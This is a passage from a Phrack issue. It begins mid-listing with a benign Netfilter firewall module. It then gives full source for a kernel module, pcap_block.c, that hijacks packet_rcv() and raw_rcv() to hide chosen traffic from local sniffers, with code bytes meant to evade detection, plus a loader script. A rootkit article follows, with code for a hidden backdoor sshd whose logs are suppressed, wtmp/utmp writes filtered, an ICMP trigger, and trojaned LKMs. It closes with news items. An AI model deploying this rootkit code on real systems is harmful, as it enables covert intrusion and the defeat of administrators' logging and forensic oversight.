* to access the TCP fields because it seems that the so‑called * transport header from skb is the same as its network header TCP packets. * If you don't believe me then print the addresses of skb‑>nh.iph * and skb‑>h.th.

* It would have been nicer if the network header only was IP and * the transport header was TCP but what can you do? */

struct tcphdr *thead;

/* We don't want any NULL pointers in the chain to the TCP header. */

if (!skb ) return NF_ACCEPT;

if (!(skb‑>nh.iph)) return NF_ACCEPT;

/* Be sure this is a TCP packet first */

if (skb‑>nh.iph‑>protocol != IPPROTO_TCP) {

return NF_ACCEPT;

}

thead = (struct tcphdr *)(skb‑>data + (skb‑>nh.iph‑>ihl * 4));

/* Now check the destination port */

if ((thead‑>dest) == deny_port) {

/* Update statistics */

lwfw_statistics.total_dropped++; lwfw_statistics.tcp_dropped++;

return NF_DROP;

}

return NF_ACCEPT;

}

/* Function that compares a received IPv4 packet's source address

* with the address specified in the IP Deny Rule. If a processing * error occurs, NF_ACCEPT will be returned so that the packet is * not lost. */

static int check_ip_packet(struct sk_buff *skb)

{

/* We don't want any NULL pointers in the chain to the IP header. */

if (!skb ) return NF_ACCEPT;

if (!(skb‑>nh.iph)) return NF_ACCEPT;

if (skb‑>nh.iph‑>saddr == deny_ip) {/* Matches the address. Barf. */

lwfw_statistics.ip_dropped++; /* Update the statistics */

lwfw_statistics.total_dropped++;

return NF_DROP;

}

return NF_ACCEPT;

}

static int set_if_rule(char *name)

{

int ret = 0;

char *if_dup; /* Duplicate interface */

/* Make sure the name is non‑null */

NULL_CHECK(name);

/* Free any previously saved interface name */

if (deny_if) {

kfree(deny_if);

deny_if = NULL;

}

if ((if_dup = kmalloc(strlen((char *)name) + 1, GFP_KERNEL)) == NULL) {

ret = ‑ENOMEM;

} else {

memset(if_dup, 0x00, strlen((char *)name) + 1); memcpy(if_dup, (char *)name, strlen((char *)name));

}

deny_if = if_dup;

lwfw_statistics.if_dropped = 0; /* Reset drop count for IF rule */

printk("LWFW: Set to deny from interface: %s\n", deny_if);

return ret;

}

static int set_ip_rule(unsigned int ip)

{

deny_ip = ip;

lwfw_statistics.ip_dropped = 0; /* Reset drop count for IP rule */

printk("LWFW: Set to deny from IP address: %d.%d.%d.%d\n", ip & 0x000000FF, (ip & 0x0000FF00) >> 8,

(ip & 0x00FF0000) >> 16, (ip & 0xFF000000) >> 24);

return 0;

}

static int set_port_rule(unsigned short port)

{

deny_port = port;

lwfw_statistics.tcp_dropped = 0; /* Reset drop count for TCP rule */

printk("LWFW: Set to deny for TCP port: %d\n",

((port & 0xFF00) >> 8 | (port & 0x00FF) << 8));

return 0;

}

/***************************************

/*

* File operations functions for control device

*/

static int lwfw_ioctl(struct inode *inode, struct file *file, unsigned int cmd, unsigned long arg)

{

int ret = 0;

switch (cmd) {

case LWFW_GET_VERS:

return LWFW_VERS;

case LWFW_ACTIVATE: {

active = 1;

printk("LWFW: Activated.\n");

if (!deny_if && !deny_ip && !deny_port) {

printk("LWFW: No deny options set.\n");

}

break;

}

case LWFW_DEACTIVATE: {

active ^= active;

printk("LWFW: Deactivated.\n");

break;

}

case LWFW_GET_STATS: {

ret = copy_stats((struct lwfw_stats *)arg);

break;

}

case LWFW_DENY_IF: {

ret = set_if_rule((char *)arg);

break;

}

case LWFW_DENY_IP: {

ret = set_ip_rule((unsigned int)arg);

break;

}

case LWFW_DENY_PORT: {

ret = set_port_rule((unsigned short)arg);

break;

}

default:

ret = ‑EBADRQC;

};

return ret;

}

/* Called whenever open() is called on the device file */

static int lwfw_open(struct inode *inode, struct file *file)

{

if (lwfw_ctrl_in_use) {

return ‑EBUSY;

} else {

MOD_INC_USE_COUNT;

lwfw_ctrl_in_use++;

return 0;

}

return 0;

}

/* Called whenever close() is called on the device file */

static int lwfw_release(struct inode *inode, struct file *file)

{

lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;

MOD_DEC_USE_COUNT;

return 0;

}

/***************************************

/*

* Module initialisation and cleanup follow...

*/

int init_module()

{

/* Register the control device, /dev/lwfw */

SET_MODULE_OWNER(&lwfw_fops);

/* Attempt to register the LWFW control device */

if ((major = register_chrdev(LWFW_MAJOR, LWFW_NAME,

&lwfw_fops)) < 0) {

printk("LWFW: Failed registering control device!\n"); printk("LWFW: Module installation aborted.\n"); return major;

}

/* Make sure the usage marker for the control device is cleared */

lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;

printk("\nLWFW: Control device successfully registered.\n");

/* Now register the network hooks */

nfkiller.hook = lwfw_hookfn;

nfkiller.hooknum = NF_IP_PRE_ROUTING; /* First stage hook */

nfkiller.pf = PF_INET; /* IPV4 protocol hook */

nfkiller.priority = NF_IP_PRI_FIRST; /* Hook to come first */

/* And register... */

nf_register_hook(&nfkiller);

printk("LWFW: Network hooks successfully installed.\n");

printk("LWFW: Module installation successful.\n");

return 0;

}

void cleanup_module()

{

int ret;

/* Remove IPV4 hook */

nf_unregister_hook(&nfkiller);

/* Now unregister control device */

if ((ret = unregister_chrdev(LWFW_MAJOR, LWFW_NAME)) != 0) { printk("LWFW: Removal of module failed!\n");

}

/* If anything was allocated for the deny rules, free it here */

if (deny_if)

kfree(deny_if);

printk("LWFW: Removal of module successful.\n");

}

<‑‑>

<++> lwfw/lwfw.h

/* Include file for the Light‑weight Fire Wall LKM.

*

* A very simple Netfilter module that drops backets based on either * their incoming interface or source IP address.

*

* Written by bioforge ‑ March 2003

*/

#ifndef __LWFW_INCLUDE__

# define __LWFW_INCLUDE__

/* NOTE: The LWFW_MAJOR symbol is only made available for kernel code.

* Userspace code has no business knowing about it. */

# define LWFW_NAME "lwfw"

/* Version of LWFW */

# define LWFW_VERS 0x0001 /* 0.1 */

/* Definition of the LWFW_TALKATIVE symbol controls whether LWFW will

* print anything with printk(). This is included for debugging purposes. */

#define LWFW_TALKATIVE

/* These are the IOCTL codes used for the control device */

#define LWFW_CTRL_SET 0xFEED0000 /* The 0xFEED... prefix is arbitrary */

#define LWFW_GET_VERS 0xFEED0001 /* Get the version of LWFM */

#define LWFW_ACTIVATE 0xFEED0002

#define LWFW_DEACTIVATE 0xFEED0003

#define LWFW_GET_STATS 0xFEED0004

#define LWFW_DENY_IF 0xFEED0005

#define LWFW_DENY_IP 0xFEED0006

#define LWFW_DENY_PORT 0xFEED0007

/* Control flags/Options */

#define LWFW_IF_DENY_ACTIVE 0x00000001

#define LWFW_IP_DENY_ACTIVE 0x00000002

#define LWFW_PORT_DENY_ACTIVE 0x00000004

/* Statistics structure for LWFW.

* Note that whenever a rule's condition is changed the related * xxx_dropped field is reset.

*/

struct lwfw_stats {

unsigned int if_dropped; /* Packets dropped by interface rule */

unsigned int ip_dropped; /* Packets dropped by IP addr. rule */

unsigned int tcp_dropped; /* Packets dropped by TCP port rule */

unsigned long total_dropped; /* Total packets dropped */

unsigned long total_seen; /* Total packets seen by filter */

};

/*

* From here on is used solely for the actual kernel module

*/

#ifdef __KERNEL__

# define LWFW_MAJOR 241 /* This exists in the experimental range */

/* This macro is used to prevent dereferencing of NULL pointers. If

* a pointer argument is NULL, this will return ‑EINVAL */

#define NULL_CHECK(ptr) \

if ((ptr) == NULL) return ‑EINVAL

/* Macros for accessing options */

#define DENY_IF_ACTIVE (lwfw_options & LWFW_IF_DENY_ACTIVE) #define DENY_IP_ACTIVE (lwfw_options & LWFW_IP_DENY_ACTIVE) #define DENY_PORT_ACTIVE (lwfw_options & LWFW_PORT_DENY_ACTIVE)

#endif /* __KERNEL__ */

#endif

<‑‑>

<++> lwfw/Makefile

CC= egcs

CFLAGS= ‑Wall ‑O2

OBJS= lwfw.o

.c.o:

$(CC) ‑c $< ‑o $@ $(CFLAGS)

all: $(OBJS)

clean:

rm ‑rf *.o

rm ‑rf ./*~

<‑‑>

‑‑[ B ‑ Code for section 6

Presented here is a simple module that will hijack the packet_rcv() and raw_rcv() functions to hide any packets to or from the IP address we specify. The default IP address is set to 127.0.0.1, but this can be changed by changing the value of the #define IP. Also presented is a bash script that will get the addresses for the required functions from a System.map file and run insmod with these addresses as parameters in the required format. This loader script was written by grem. Originally for my Mod‑off project, it was easily modified to suit the module presented here. Thanks again grem.

The presented module is proof‑of‑concept code only and as such, does not have anything in the way of module hiding. It is also important to remember that although this module can hide traffic from a sniffer running on the same host, a sniffer on a different host, but on the same LAN segment will still see the packets. From what is presented in the module, smart readers should have everything they need to design filtering functions to block any kind of packets they need. I have successfully used the technique presented in this text to hide control and information retrieval packets used by my other LKM projects.

<++> pcaphide/pcap_block.c

/* Kernel hack that will hijack the packet_rcv() function

* which is used to pass packets to Libpcap applications

* that use PACKET sockets. Also hijacks the raw_rcv()

* function. This is used to pass packets to applications

* that open RAW sockets.

*

* Written by bioforge ‑ 30th June, 2003

*/

#define MODULE

#define __KERNEL__

#include <linux/config.h>

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/netdevice.h>

#include <linux/skbuff.h>

#include <linux/smp_lock.h>

#include <linux/ip.h> /* For struct ip */

#include <linux/if_ether.h> /* For ETH_P_IP */

#include <asm/page.h> /* For PAGE_OFFSET */

/*

* IP address to hide 127.0.0.1 in NBO for Intel */

#define IP htonl(0x7F000001)

/* Function pointer for original packet_rcv() */

static int (*pr)(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt);

MODULE_PARM(pr, "i"); /* Retrieved as insmod parameter */

/* Function pointer for original raw_rcv() */

static int (*rr)(struct sock *sk, struct sk_buff *skb); MODULE_PARM(rr, "i");

/* Spinlock used for the parts where we un/hijack packet_rcv() */

static spinlock_t hijack_lock = SPIN_LOCK_UNLOCKED;

/* Helper macros for use with the Hijack spinlock */

#define HIJACK_LOCK spin_lock_irqsave(&hijack_lock, \ sl_flags)

#define HIJACK_UNLOCK spin_unlock_irqrestore(&hijack_lock, \ sl_flags)

#define CODESIZE 10

/* Original and hijack code buffers.

* Note that the hijack code also provides 3 additional

* bytes ( inc eax; nop; dec eax ) to try and throw

* simple hijack detection techniques that just look for

* a move and a jump. */

/* For packet_rcv() */

static unsigned char pr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"

"\x40\x90\x48"

"\xff\xe0";

static unsigned char pr_orig[CODESIZE];

/* For raw_rcv() */

static unsigned char rr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"

"\x40\x90\x48"

"\xff\xe0";

static unsigned char rr_orig[CODESIZE];

/* Replacement for packet_rcv(). This is currently setup to hide

* all packets with a source or destination IP address that we

* specify. */

int hacked_pr(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt)

{

int sl_flags; /* Flags for spinlock */

int retval;

/* Check if this is an IP packet going to or coming from our

* hidden IP address. */

if (skb‑>protocol == htons(ETH_P_IP)) /* IP packet */

if (skb‑>nh.iph‑>saddr == IP || skb‑>nh.iph‑>daddr == IP) return 0; /* Ignore this packet */

/* Call original */

HIJACK_LOCK;

memcpy((char *)pr, pr_orig, CODESIZE);

retval = pr(skb, dev, pt);

memcpy((char *)pr, pr_code, CODESIZE);

HIJACK_UNLOCK;

return retval;

}

/* Replacement for raw_rcv(). This is currently setup to hide

* all packets with a source or destination IP address that we

* specify. */

int hacked_rr(struct sock *sock, struct sk_buff *skb)

{

int sl_flags; /* Flags for spinlock */

int retval;

/* Check if this is an IP packet going to or coming from our

* hidden IP address. */

if (skb‑>protocol == htons(ETH_P_IP)) /* IP packet */

if (skb‑>nh.iph‑>saddr == IP || skb‑>nh.iph‑>daddr == IP) return 0; /* Ignore this packet */

/* Call original */

HIJACK_LOCK;

memcpy((char *)rr, rr_orig, CODESIZE);

retval = rr(sock, skb);

memcpy((char *)rr, rr_code, CODESIZE);

HIJACK_UNLOCK;

return retval;

}

int init_module()

{

int sl_flags; /* Flags for spinlock */

/* pr & rr set as module parameters. If zero or < PAGE_OFFSET

* (which we treat as the lower bound of kernel memory), then * we will not install the hacks. */

if ((unsigned int)pr == 0 || (unsigned int)pr < PAGE_OFFSET) { printk("Address for packet_rcv() not valid! (%08x)\n", (int)pr);

return ‑1;

}

if ((unsigned int)rr == 0 || (unsigned int)rr < PAGE_OFFSET) { printk("Address for raw_rcv() not valid! (%08x)\n", (int)rr);

return ‑1;

}

*(unsigned int *)(pr_code + 1) = (unsigned int)hacked_pr; *(unsigned int *)(rr_code + 1) = (unsigned int)hacked_rr;

HIJACK_LOCK;

memcpy(pr_orig, (char *)pr, CODESIZE);

memcpy((char *)pr, pr_code, CODESIZE);

memcpy(rr_orig, (char *)rr, CODESIZE);

memcpy((char *)rr, rr_code, CODESIZE);

HIJACK_UNLOCK;

EXPORT_NO_SYMBOLS;

return 0;

}

void cleanup_module()

{

int sl_flags;

lock_kernel();

HIJACK_LOCK;

memcpy((char *)pr, pr_orig, CODESIZE);

memcpy((char *)rr, rr_orig, CODESIZE);

HIJACK_UNLOCK;

unlock_kernel();

}

<‑‑>

<++> pcaphide/loader.sh

#!/bin/sh

# Written by grem, 30th June 2003

# Hacked by bioforge, 30th June 2003

if [ "$1" = "" ]; then

echo "Use: $0 <System.map>";

exit;

fi

MAP="$1"

PR=`cat $MAP | grep ‑w "packet_rcv" | cut ‑c 1‑16`

RR=`cat $MAP | grep ‑w "raw_rcv" | cut ‑c 1‑16`

if [ "$PR" = "" ]; then

PR="00000000"

fi

if [ "$RR" = "" ]; then

RR="00000000"

fi

echo "insmod pcap_block.o pr=0x$PR rr=0x$RR"

# Now do the actual call to insmod

insmod pcap_block.o pr=0x$PR rr=0x$RR

<‑‑>

<++> pcaphide/Makefile

CC= gcc

CFLAGS= ‑Wall ‑O2 ‑fomit‑frame‑pointer

INCLUDES= ‑I/usr/src/linux/include

OBJS= pcap_block.o

.c.o:

$(CC) ‑c $< ‑o $@ $(CFLAGS) $(INCLUDES)

all: $(OBJS)

clean:

rm ‑rf *.o

rm ‑rf ./*~

<‑‑>

‑‑‑‑‑‑[ References

This appendix contains a list of references used in writing this article.

[1] The tcpdump group

http://www.tcpdump.org

[2] The Packet Factory

http://www.packetfactory.net

[3] My network tools page http://uqconnect.net/~zzoklan/software/#net_tools

[4] Silvio Cesare's Kernel Function Hijacking article http://vx.netlux.org/lib/vsc08.html

[5] Man pages for:

‑ raw (7)

‑ packet (7)

‑ tcpdump (1)

[6] Linux kernel source files. In particular:

‑ net/packet/af_packet.c (for packet_rcv())

‑ net/ipv4/raw.c (for raw_rcv())

‑ net/core/dev.c

‑ net/ipv4/netfilter/*

[7] Harald Welte's Journey of a packet through the Linux 2.4 network stack http://gnumonks.org/ftp/pub/doc/packet‑journey‑2.4.html

[8] The Netfilter documentation page http://www.netfilter.org/documentation

[9] Phrack 55 ‑ File 12 http://www.phrack.org/show.php?p=55&a=12

[A] Linux Device Drivers 2nd Ed. by Alessandro Rubini et al. [B] Inside the Linux Packet Filter. A Linux Journal article http://www.linuxjournal.com/article.php?sid=4852

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Kernel Rootkit Experiences & the Future

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile 0x0e of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Kernel Rootkit Experiences ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ stealth <stealth@segfault.net> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1 ‑ Introduction

2 ‑ Sick of it all?

3 ‑ Let it log

4 ‑ Let it rock

5 ‑ Thinking about linking

6 ‑ as in 2.6

7 ‑ Last words & References

‑‑[ 1 ‑ Introduction

This article focuses on kernel based rootkits and how much they will be influenced by "normal" backdoors in future. Kernel based rootkits are there for a while, and they will be there in future, so some ideas and outlooks seem worth.

Before reading this article, you should read the article regarding the netfilter hooks and the LKM relinking first. The backdoor impmentations I am speaking of and code snippets will utilize these.

Please do not take this article too serious, it is not a description of how to hack if you read between the lines. I just express what I have experianced as "adore author" during the last years. This ranges from upset admins at congresses, weird questions at speaches, mails which cry for help, "adore sucks" messages at IRC, congratulations from .edu sites and so on.

‑‑[ 2 ‑ Sick of it all?

Rootkits, and kernel based rootkits in particular, are available since a few years now, and some research has been done in this field. A lot of blubbering and even more blahs are published from time to time, and this is really annoying so I can understand if you do not read articles about rootkits anymore. Nevertheless, new obstacles come up and have to be addressed by rootkit (‑authors) in the future. These include but are not limited to:

‑ new kernel‑versions and vendor extensions

‑ absence of important symbols (namely sys_call_table)

‑ advanced logging and auditing mechanisms

‑ kernel hardening, trusted OS etc.

‑ intrusion detection/abnormal behaivior detection

‑ advanced forensic tools and analysis methods

While some of these points I try to address in adore‑ng like avoiding of sys_call_table[] usage via VFS layer redirection, some points are still topic of research. Rootkits usually include logfile cleaners for the [u,w]tmp files, but this bites with the "least privilege" principle rule for intruders, which turns into a "least uploads to the system" rule. So, one point is to try to avoid logging at all, at the backdoor level (LKM level in our case) to have less binaries on the target system.

The trusted OS thingie has to be addressed in a own paper, and I already know which kernel hardening I want to look at spender. :‑)

‑‑[ 3 Let it log

During a speach about rootkits at a certain university by a forensic company I got some nice ideas how one can improve invisibillity. Today, advanced folks is probably dont patching the sshd binary anymore, but placing apropriate authentitation tokens at certain places (yes, distributed authentication mechanisms can be nasty for forensics). So, if the intruder is going to use the standard tools (he can also post‑install uninstalled libraries and packages if they are missing; do you know which of the 3 admins installed the openssh package at pc‑5073?) the lkm‑rootkit has somehow to ensure the logs the sshd sends go to /dev/null. One can do it this way:

static int ssh(void *vp)

{

char *a[] = {"/usr/bin/perl", "‑e", "$ENV{PATH}='/usr/bin:/bin:/sbin:/usr/sbin';" "open(STDIN,'</dev/null');open(STDOUT,'>/dev/null');" "open(STDERR,'>/dev/null');"

"exec('sshd ‑e ‑d ‑p 2222');",

NULL};

task_lock(current);

REMOVE_LINKS(current);

list_del(&current‑>thread_group); evil_sshd_pid = current‑>pid; task_unlock(current);

exec_usermodehelper(*a, a, NULL);

return 0;

}

This looks like it could be called as kernel_thread() by a netfilter hook eh? "‑e" lets sshd log to stderr which is /dev/null in this case. Excellent. "‑d" is a nice switch which forbids sshd to fork and therefore does not have open ports which can be detected after intruders login. REMOVE_LINK() makes the process invisible for ps and friends. Using perl is necessary to open stdin etc. because exec_usermodehelper() will close all files before starting sshd which makes sshd mix up stderr with the sockets when run with ‑e.

The utmp/wtmp/lastlog logging can be avoided via:

// parent must be evil sshd (since child which becomes the shell

// logs the stuff)

if (current‑>p_opptr &&

current‑>p_opptr‑>pid == evil_sshd_pid && evil_sshd_pid != 0) { for (i = 0; var_filenames[i]; ++i) { if (var_files[i] && f‑>f_dentry‑>d_inode‑>i_ino == var_files[i]‑>f_dentry‑>d_inode‑>i_ino) {

task_unlock(current);

*off += blen;

return blen;

}

}

}

It looks whether the loggie is the sshd and whether it tries to write [u,w]tmp entries into the appropriate files. Ofcorse we have to redirect the write() function in the VFS layer and to check the inode numbers to filter out the correct writes. Indeed, we would have to check the superblock too, but sshd is not

going to write to files with the same inode# on a different disk I think.

Some pam modules open a session when one logs in, so a

pam_unix2: session started for user root

might appear in the logs even by the evil sshd with log redirection. So, as it seems, the log‑issue can be solved in future backdoors/rootkits without messing too much with the system binaries.

‑‑[ 4 Let it rock

One needs a trigger to start the evil sshd, so nmap does not show open ports. Ofcorse. The netfilter article shows how one can build his own icmp‑hooks to do so. I wont describe it again here, the article does it better than I could. Just one important point: as far as I have experianced you cannot start a program from within the hook directly. Kernel will crash badly, probably because the hook is somehow nested in an interrupt service routine. To overcome this problem, we set a flag that the sshd should be started:

if (hit && (hit‑1) % HIT_FREQ == 0) { write_lock(&ssh_lock);

start_ssh = 1;

write_unlock(&ssh_lock);

return NF_DROP;

}

and since we mess with the VFS layer anyway, we also redirect the open() call (of the particular FS which /etc holds) so the next process that is opening a file on the same FS is starting the evil sshd. That might be a "ls" by root or we trigger it ourself via the real sshd that is running:

root@linux:root# telnet 127.0.0.1 22

Trying 127.0.0.1...

Connected to 127.0.0.1.

Escape character is '^]'.

SSH‑2.0‑OpenSSH_3.5p1

SSH‑2.0‑OpenSSH_3.5p1 <<<<< pasted by attacker Connection closed by foreign host.

On my machine this causes logs from the real sshd:

sshd[1967]: fatal: No supported key exchange algorithms

If one does not enter a valid protocol‑string you get your IP logged:

sshd[1980]: Bad protocol version identification '' from ::ffff:127.0.0.1

Might be there are other services (with zero logs) which open files and trigger the start of the evil sshd like a httpd.

Easy to see that it is possible for the kernel rootkit to supress certain log messages but by now it depends on the application and knowledge about when/what it will log. Not a too bad assumption for an intruder but in future intruders could use tainting‑like mechanisms (taint every log‑data that is caused by a hidden shell for example) to supress any logs the admin could find usefull for detecting the intruder.

‑‑[ 5 Thinking about linking

There is an article regarding LKM infection, please read it, its worth to spend the time. :‑)

However, one does not need to mess with the ELF format too much, a simple mmap() with a substitution of the init_module() and cleanup_module() will suffice. Such a program has to be part of the rootkit, because rootkits have to be user‑friendly, so they can easily set up by admins who run honeypot systems:

root@linux:zero# ./configure

Starting configuration ...

generating secret pattern ...

\\x37\\x8e\\x37\\x5f

checking 4 SMP ... NO

checking 4 MODVERSIONS ...NO

Your secret ping commandline is: ping ‑s 32 ‑p 378e375f IP

root@linux:zero# make

cc ‑c ‑I/usr/src/linux/include ‑DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\ ‑O2 ‑Wall zero.c

cc ‑c ‑I/usr/src/linux/include ‑DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\ ‑O2 ‑Wall ‑DSTANDALONE zero.c ‑o zero‑alone.o

cc ‑c ‑I/usr/src/linux/include ‑DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\ ‑O2 ‑Wall cleaner.c

root@linux:zero# ./setup

The following LKMs are available:

af_packet ppp_async ppp_generic slhc iptable_filter

ip_tables ipv6 st sr_mod sg

mousedev joydev evdev input uhci

usbcore raw1394 ieee1394 8139too mii

scsi cd cdrom parport_pc ppa

Chose one: sg

Choice was >>>sg<<<

Searching for sg.o ...

Found /lib/modules/2.4.20/kernel/drivers/scsi/sg.o!

Copy trojaned LKM back to original LKM? (y/n)

...

zero.o is for relinkage with one of the chosen modules, but since this is already inserted into kernel, the intruder needs a standalone module: zero‑alone.o.

For more ideas on linking and different platform approaches, please look at the particular article at [1].

‑‑[ 6 as in 2.6

As of writing, the 2.6 Linux kernel is already in testing phase, and soon the first non‑testing versions of it will be available. So, it is probably time to look at the new glitches. At [4] you find a version of adore‑ng that already works with the Linux kernel 2.6. Beside some new headers the rootkit will need, the signatures

of some functions we need to redirect changed. A not unusual thing. Not too much challenging. In particular the init and cleanup functions have to be announced to the LKM loader in a different way:

#ifdef LINUX26

static int __init adore_init()

#else

int init_module()

#endif

and

static void __exit adore_cleanup()

#else

int cleanup_module()

#endif

...

#ifdef LINUX26

module_init(adore_init);

module_exit(adore_cleanup);

#endif

No big thing either. Adore‑ng already uses the new VFS technique to hide files and processes, so we do not need to care about sys_call_table layout.

The most time‑consuming part of porting adore to the 2.6 kernel was to find out how the LKMs are build at all. Its not enough to "cc" them to a single object file anymore. You have to link it against some other object‑file compiled from a C‑file containing certain infos and attributes like a

MODULE_INFO(vermagic, VERMAGIC_STRING);

for example. I do not know why they depend on this.

And thats all for 2.6! No magic at all, except some hooks introduced in the kernel seem worth a look. :‑)

‑‑[ 7 Last words & references

Zero rootkit does not hide files, and it only hides the evil sshd process by removing it from the task‑list. It is not wise to "halt" the system from such a process or its child. I tested zero on a SMP system but it freezed. No matter whether it was me or the "‑f" insmod switch I had to use because of the different versions. If anyone is willing to grant (legal ofcorse!) access to a SMP box, let the phrack team or me know. Zero is experimental stuff, so please do not tell me you do not like it because it is missing a GUI or stuff.

Some links:

[1] Infecting Loadable Kernel Modules (in this release)

[2] Hacking da Linux Kernel Network Stack (in this release) [3] http://stealth.7350.org/empty/zero.tgz

(soon appears at http://stealth.7350.org/rootkits)

[4] http://stealth.7350.org/rootkits/adore‑ng‑0.24.tgz

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack World News

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x0f of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ P H R A C K W O R L D N E W S ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack Combat Journalistz ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

Content

1 ‑ Quickies

2 ‑ Hacker Generations by Richard Thieme

3 ‑ Citizen Questions on Citizenship by Bootleg

4 ‑ The Molting Wings of Liberty by Beaux75

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑=[ Quick News ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Microsoft got hit by SQL slammer worm:

[1] http://www.cnn.com/2003/TECH/biztech/01/28/microsoft.worm.ap/index.html

[2] http://www.thewmurchannel.com/technology/1940013/detail.html

They say they cought 'Fluffi Bunny':

[1] http://www.salon.com/tech/wire/2003/04/29/fluffi_bunni/index.html

[2] http://www.nandotimes.com/technology/story/872265p‑6086707c.html

How Geroge W. Bush Won the 2004 Presidential Election. This article outlines the danger of electronic voting systems. It explains why voting systems are vulnerable to fraudulent manipulation by the companies manufactoring and supervising the systems.

[1] http://belgium.indymedia.org/news/2003/07/70542.php

FBI Says Iraw Situation May Spur 'Patriotic Hackers'

[1] http://www.washingtonpost.com/wp‑dyn/articles/A64049‑2003Feb12.html

Over 5 million Visa/MasterCard accounts hacked into. This happens all the day long but once in a while is one journalist making a media hype out of it and everyone starts to go crazy about it. Wehehehhehee.

[1] http://www.forbes.com/markets/newswire/2003/02/17/rtr881826.html

The Shmoo group build a robot that drives around to find WiFi AccessPoints. Wonder how long it will take until the first hacker mounts a WiFi + Antenna under a low‑flying zeppelin / model aircraft...

[1] http://news.com.com/2100‑1039_3‑5059541.html

Linux achieved the Common Criteria security certification and is now allowed to be used by the federal government and other organizations. [1] http://www.fcw.com/fcw/articles/2003/0804/web‑linx‑08‑06‑03.asp

$55 million electronic voting machines can be hacked into by a 15‑year‑old newbie. Guess who will win the 2004' election?

[1] http://www.washingtonpost.com/wp‑dyn/articles/A25673‑2003Aug6.html

UK Intelligence and Security Report Aug 2003. I like the quote: "Britain has a complicated and rather bureaucratic political control over its int elligence and security community and one that tends to apply itself to long‑term targets and strategic intelligence programs, but has little real influence on the behaviour and operations of SIS or MI5."

[1] http://cryptome.org/uk‑intel.doc

Man jailed for linking to bomb‑side. Judge, psst, *hint*: Try http://www.google.com ‑> homemade bombs ‑> I feel lucky. Eh? Going to jail

google now? Eh?

[1] http://www.cnn.com/2003/TECH/internet/08/05/anarchist.prison.ap/index.html

The military is thinking of planting propaganda and misleading stories in the international media [1]. A new department has been set up inside the Pentagon with the Orwellian title of the Office of Strategic Influence. The government had to rename the new department when its name leaked ([2]). [1] http://news.bbc.co.uk/1/hi/world/americas/1830500.stm

[2] http://www.fas.org/sgp/news/secrecy/2002/11/112702.html

[3] http://www.fas.org/sgp/news/2002/11/dod111802.html

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑=[ Hacker Generations ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hacker Generations

by

Richard Thieme <rthieme at thiemeworks.com>

Richard Thieme speaks writes and consults about life on the edge, creativity and innovation, and the human dimensions of technology. His exploraitions of hacking, security, and many other things can be found at http://www.thiemeworks.com). A frequent speaker at security conferences, he

keynoted the Black Hat Briefings ‑ Europe in Amsterdam this year, the security track of Tech Ed sponsored by Microsoft Israel in Eilat, and returns to keynote Hiver Con in Dublin for a second time in November. In addition to numerous security cons (Def Con 4,5,6,7,8,9,10,11and Black Hat 1,2,3,4,5,6,7, Rubicon 2,3,4,5), he has spoken for the FBI, Infragard, the FS‑ISAC, Los Alamos National Laboratory, and the US Department of the Treasury. Clients include Microsoft Israel, GE Medical Systems, and Network Flight Recorder.

First, the meaning of hacker

============================

